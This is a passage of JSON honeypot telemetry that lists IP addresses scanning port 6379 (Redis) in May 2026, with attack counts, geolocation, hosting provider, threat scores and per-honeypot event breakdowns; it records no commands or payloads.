    "167.99.224.187": {
      "attack_count": 18,
      "first_seen": "2026-05-19T01:53:40.000Z",
      "last_seen": "2026-05-19T02:03:43.045Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-17T03:41:41+00:00",
        "last_seen_30d": "2026-05-22T00:24:06.747000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 39,
        "Redishoneypot": 3
      }
    },
    "206.189.189.252": {
      "attack_count": 18,
      "first_seen": "2026-05-25T20:29:02.000Z",
      "last_seen": "2026-05-25T20:30:14.474Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:29:02+00:00",
        "last_seen_30d": "2026-05-25T20:30:14.474000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "142.93.57.219": {
      "attack_count": 17,
      "first_seen": "2026-05-13T05:18:40.000Z",
      "last_seen": "2026-05-13T05:28:51.477Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T08:39:15.538000+00:00",
        "last_seen_30d": "2026-05-14T12:27:58.390000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123,
        "Honeytrap": 28,
        "Redishoneypot": 5
      }
    },
    "143.244.162.71": {
      "attack_count": 17,
      "first_seen": "2026-05-11T00:30:10.000Z",
      "last_seen": "2026-05-11T00:31:18.193Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T23:01:32+00:00",
        "last_seen_30d": "2026-05-11T00:31:18.193000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 29,
        "Redishoneypot": 5
      }
    },
    "34.228.104.231": {
      "attack_count": 17,
      "first_seen": "2026-05-11T01:13:43.000Z",
      "last_seen": "2026-05-25T01:03:34.791Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 399,
        "days_active_30d": 30,
        "ports_targeted_30d": 179,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:54:26.398000+00:00",
        "last_seen_30d": "2026-05-31T17:38:01.242000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 399
      }
    },
    "117.50.47.100": {
      "attack_count": 16,
      "first_seen": "2026-05-23T06:06:41.000Z",
      "last_seen": "2026-05-29T23:28:08.130Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-23T06:07:48.400000+00:00",
        "last_seen_30d": "2026-05-29T23:28:08.130000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "20.29.23.130": {
      "attack_count": 16,
      "first_seen": "2026-05-19T06:33:51.000Z",
      "last_seen": "2026-05-19T06:35:42.419Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T08:44:57.098000+00:00",
        "last_seen_30d": "2026-05-24T11:23:14.602000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 7,
        "Redishoneypot": 3
      }
    },
    "40.124.173.224": {
      "attack_count": 16,
      "first_seen": "2026-05-27T15:51:47.000Z",
      "last_seen": "2026-05-27T15:54:27.190Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T14:05:15.267000+00:00",
        "last_seen_30d": "2026-05-27T15:54:27.190000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "66.228.42.9": {
      "attack_count": 16,
      "first_seen": "2026-05-08T12:12:50.000Z",
      "last_seen": "2026-05-08T12:13:59.084Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:12:51+00:00",
        "last_seen_30d": "2026-05-08T12:13:59.084000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 4,
        "Suricata": 2
      }
    },
    "134.33.73.107": {
      "attack_count": 15,
      "first_seen": "2026-05-13T23:53:45.000Z",
      "last_seen": "2026-05-13T23:57:08.376Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 9.2,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 11,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T02:31:55.040000+00:00",
        "last_seen_30d": "2026-05-19T23:33:24.485000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "172.202.118.20": {
      "attack_count": 15,
      "first_seen": "2026-05-25T05:58:36.000Z",
      "last_seen": "2026-05-25T05:59:58.840Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.2,
        "persistence": 22.5,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 27,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T23:08:07.279000+00:00",
        "last_seen_30d": "2026-05-29T00:48:25.087000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 8,
        "Redishoneypot": 3
      }
    },
    "178.105.129.27": {
      "attack_count": 15,
      "first_seen": "2026-05-15T12:17:15.000Z",
      "last_seen": "2026-05-15T12:22:23.564Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T12:18:22.794000+00:00",
        "last_seen_30d": "2026-05-15T12:22:23.564000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Redishoneypot": 5,
        "Honeytrap": 1
      }
    },
    "20.163.15.236": {
      "attack_count": 15,
      "first_seen": "2026-05-28T10:42:26.000Z",
      "last_seen": "2026-05-28T10:45:40.053Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.0,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T08:50:46+00:00",
        "last_seen_30d": "2026-05-28T10:45:40.053000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "91.230.168.202": {
      "attack_count": 14,
      "first_seen": "2026-05-23T15:50:45.000Z",
      "last_seen": "2026-05-23T15:52:03.648Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 50.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 18.3,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 22,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T09:53:13+00:00",
        "last_seen_30d": "2026-05-23T15:52:03.648000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 6,
        "Redishoneypot": 3,
        "Cowrie": 2
      }
    },
    "66.132.172.98": {
      "attack_count": 13,
      "first_seen": "2026-05-17T02:31:40.000Z",
      "last_seen": "2026-05-17T02:32:50.694Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 29,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T10:32:34+00:00",
        "last_seen_30d": "2026-05-30T20:35:06.702000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116,
        "Honeytrap": 54,
        "Miniprint": 6,
        "Redishoneypot": 6,
        "H0neytr4p": 4,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "91.230.168.144": {
      "attack_count": 13,
      "first_seen": "2026-05-30T09:14:20.000Z",
      "last_seen": "2026-05-30T09:15:38.268Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 74.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 27,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T01:57:09+00:00",
        "last_seen_30d": "2026-05-30T09:15:38.268000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 35,
        "Redishoneypot": 3
      }
    },
    "20.230.86.231": {
      "attack_count": 12,
      "first_seen": "2026-05-14T12:51:07.000Z",
      "last_seen": "2026-05-14T12:52:18.456Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 5.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 6,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T12:51:08+00:00",
        "last_seen_30d": "2026-05-19T04:44:18.909000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "66.132.186.175": {
      "attack_count": 12,
      "first_seen": "2026-05-31T03:33:08.000Z",
      "last_seen": "2026-05-31T03:34:13.026Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T09:01:17+00:00",
        "last_seen_30d": "2026-05-31T11:34:54.164000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 48,
        "ElasticPot": 8,
        "Redishoneypot": 6,
        "Tanner": 5,
        "Dionaea": 3,
        "ConPot": 1,
        "Dicompot": 1,
        "Mailoney": 1,
        "Sentrypeer": 1
      }
    },
    "66.132.186.185": {
      "attack_count": 12,
      "first_seen": "2026-05-07T11:31:02.000Z",
      "last_seen": "2026-05-07T11:32:08.216Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 29,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T19:28:22.328000+00:00",
        "last_seen_30d": "2026-05-31T22:37:43.499000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 51,
        "Redishoneypot": 6,
        "ConPot": 3,
        "Dionaea": 2,
        "H0neytr4p": 2
      }
    },
    "66.132.195.122": {
      "attack_count": 12,
      "first_seen": "2026-05-02T16:32:00.000Z",
      "last_seen": "2026-05-02T16:33:03.832Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 79.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 23.3,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 28,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T16:32:00+00:00",
        "last_seen_30d": "2026-05-29T02:58:12.203000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "ElasticPot": 8,
        "Redishoneypot": 6,
        "Honeyaml": 3,
        "Honeytrap": 3
      }
    },
    "66.132.195.52": {
      "attack_count": 12,
      "first_seen": "2026-05-05T09:31:47.000Z",
      "last_seen": "2026-05-05T09:32:49.121Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T14:43:37+00:00",
        "last_seen_30d": "2026-05-31T16:55:27.275000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 30,
        "ElasticPot": 14,
        "Ciscoasa": 6,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Tanner": 3,
        "ConPot": 1
      }
    },
    "66.132.195.63": {
      "attack_count": 12,
      "first_seen": "2026-05-27T23:39:36.000Z",
      "last_seen": "2026-05-27T23:40:42.704Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T06:17:39+00:00",
        "last_seen_30d": "2026-05-31T00:32:13.597000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99,
        "Honeytrap": 46,
        "Redishoneypot": 6,
        "Tanner": 4,
        "ConPot": 2
      }
    },
    "100.28.153.226": {
      "attack_count": 11,
      "first_seen": "2026-05-23T00:50:59.000Z",
      "last_seen": "2026-05-30T03:14:02.431Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 30,
        "ports_targeted_30d": 184,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:56:32.792000+00:00",
        "last_seen_30d": "2026-05-31T17:50:51.552000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 434
      }
    },
    "172.232.3.17": {
      "attack_count": 11,
      "first_seen": "2026-05-08T12:50:18.000Z",
      "last_seen": "2026-05-21T12:54:13.066Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 30,
        "ports_targeted_30d": 172,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:03:16.890000+00:00",
        "last_seen_30d": "2026-05-31T19:03:17.119000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 187
      }
    },
    "192.34.56.17": {
      "attack_count": 11,
      "first_seen": "2026-05-29T22:32:03.000Z",
      "last_seen": "2026-05-29T22:33:10.658Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 3,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-28T16:13:38.760000+00:00",
        "last_seen_30d": "2026-05-30T04:21:03.537000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26
      }
    },
    "35.169.206.177": {
      "attack_count": 11,
      "first_seen": "2026-05-10T01:05:48.000Z",
      "last_seen": "2026-05-28T03:15:36.805Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 30,
        "ports_targeted_30d": 181,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:05:38.257000+00:00",
        "last_seen_30d": "2026-05-31T16:41:04.363000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 400
      }
    },
    "100.28.191.174": {
      "attack_count": 10,
      "first_seen": "2026-05-19T21:53:35.000Z",
      "last_seen": "2026-05-28T14:32:33.127Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 82.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 28,
        "ports_targeted_30d": 83,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T06:21:59.301000+00:00",
        "last_seen_30d": "2026-05-31T17:57:08.765000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 215,
        "Honeytrap": 24,
        "Dionaea": 1
      }
    },
    "198.235.24.69": {
      "attack_count": 10,
      "first_seen": "2026-05-13T18:23:18.000Z",
      "last_seen": "2026-05-13T18:24:57.351Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T01:13:28.514000+00:00",
        "last_seen_30d": "2026-05-31T23:44:13.586000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 28,
        "Redishoneypot": 3
      }
    },
    "205.210.31.163": {
      "attack_count": 9,
      "first_seen": "2026-05-02T20:36:14.000Z",
      "last_seen": "2026-05-02T20:37:54.063Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 30,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T20:36:14+00:00",
        "last_seen_30d": "2026-05-31T22:07:40.006000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 16,
        "Redishoneypot": 3,
        "Ciscoasa": 2,
        "Tanner": 1
      }
    },
    "205.210.31.212": {
      "attack_count": 9,
      "first_seen": "2026-05-06T04:15:47.000Z",
      "last_seen": "2026-05-06T04:17:22.596Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T01:11:01+00:00",
        "last_seen_30d": "2026-05-31T00:06:19.868000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 25,
        "Redishoneypot": 3,
        "ConPot": 2
      }
    },
    "205.210.31.78": {
      "attack_count": 9,
      "first_seen": "2026-05-30T21:02:30.000Z",
      "last_seen": "2026-05-30T21:04:07.514Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
